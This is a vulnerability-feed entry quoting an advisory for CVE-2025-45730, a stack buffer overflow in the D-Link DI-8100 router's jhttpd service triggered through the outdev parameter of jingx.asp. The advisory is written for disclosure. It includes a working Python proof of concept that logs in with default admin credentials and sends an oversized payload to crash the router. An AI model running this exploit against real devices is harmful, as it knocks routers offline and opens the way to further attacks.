https://vulnerability.circl.lu/sightings/feed 2026-09-10T23:18:50.456663+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/c4f22d2e-1ca0-4c96-a201-46c97f1e5478/export 2026-09-10T23:18:50.481854+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "c4f22d2e-1ca0-4c96-a201-46c97f1e5478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45730", "type": "seen", "source": "https://gist.github.com/Aifsoq/b8cd6dca85ec6bbe552a953b9702cb01", "content": "CVE-2025-45730: D-Link DI-8100 Stack Buffer Overflow Vulnerability\nCVE ID\nCVE-2025-45730\nVendor\nD-Link\nProduct\nD-Link DI-8100\nVulnerability Type\nStack-based Buffer Overflow\nAffected Component\n`jhttpd`\nVulnerable Function\n`jingx_asp`\nVulnerable Parameter\n`outdev`\nVulnerability Description\nA stack-based buffer overflow vulnerability exists in the `jhttpd` web\nservice of the D-Link DI-8100 router.\nThe vulnerability is located in the `jingx_asp` function. The value of\nthe `outdev` parameter is attacker-controlled and is subsequently used\nby `sprintf` to construct data in a stack-based buffer without adequate\nbounds checking.\nBy supplying an excessively long value to the `outdev` parameter, an\nattacker can trigger a stack buffer overflow.\nThe vulnerability was verified to cause the `jhttpd` web service to\ncrash, resulting in a denial-of-service condition.\nVulnerable Endpoint\nThe vulnerable parameter is accessible through the following endpoint:\n``` text\n/jingx.asp?outdev=\n```\nAn excessively long `outdev` value can trigger the stack buffer\noverflow.\nRoot Cause\nThe `jingx_asp` function obtains the value of the HTTP `outdev`\nparameter and passes attacker-controlled data to `sprintf`.\nThe relevant logic can be summarized as:\n``` c\noutdev = httpd_get_param(..., \"outdev\");\n...\nsprintf(stack_buffer, \"%s%s%s%s%s%s\", ..., outdev);\n```\nThe destination is a stack-based buffer and the attacker-controlled\ninput is not adequately restricted before being processed by `sprintf`,\nresulting in a stack buffer overflow.\nProof of Concept\nThe following proof of concept was used in the test environment to\ntrigger the vulnerability.\n``` python\nimport requests\n\nsession = requests.session()\n\nlogin_url = \"http://192.168.0.1/login.cgi\"\n\nlogin_headers = {\n \"User-Agent\": \"Mozilla/5.0\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Origin\": \"http://192.168.0.1\",\n \"Referer\": \"http://192.168.0.1/login.html\",\n \"Connection\": \"close\",\n}\n\n# Credentials used in the test environment\nlogin_data = {\n \"user\": \"admin\",\n \"password\": \"admin\"\n}\n\nsession.post(\n login_url,\n headers=login_headers,\n data=login_data\n)\n\npayload = b'a' * 0x450\n\npoc_url = f\"http://192.168.0.1/jingx.asp?outdev={payload}\"\n\nheaders = {\n \"User-Agent\": \"Mozilla/5.0\",\n \"Connection\": \"close\",\n}\n\nresponse = session.get(\n poc_url,\n headers=headers\n)\n\nprint(response.text)\n```\nVerification\nThe vulnerability was tested in a firmware emulation environment using\nFirmAE.\nAfter sending the crafted request containing the oversized `outdev`\nparameter, the router's web service crashed and the web management\ninterface became unavailable.\nThis confirms that the stack buffer overflow can cause a\ndenial-of-service condition.\nImpact\nSuccessful exploitation can crash the `jhttpd` web service, making the\nrouter's web management interface unavailable and resulting in a\ndenial-of-service condition.\nThe underlying vulnerability is a stack-based buffer overflow. Further\nmemory corruption may be possible; however, only denial of service was\nverified during testing.\nAttack Vector\nAn attacker capable of sending a crafted request to the affected web\nmanagement interface can supply an oversized value through the `outdev`\nparameter of `jingx.asp` and trigger the vulnerability.\nFirmware / Download Reference\nThe firmware used for analysis was obtained from the official D-Link\nDI-8100 support page:\nhttps://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100\nAffected Version\nThe exact affected firmware version is not specified in the original\nvulnerability report.\nDiscoverer\nXinjie Zhang\nCVE\nCVE-2025-45730\nReferences\nCVE-2025-45730\nD-Link DI-8100 official support and firmware download page:\nhttps://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100\nCredit\nThis vulnerability was discovered by Xinjie Zhang.", "creation_timestamp": "2026-09-05T08:44:24.361092Z"} 2026-09-05T08:44:24.361092+00:00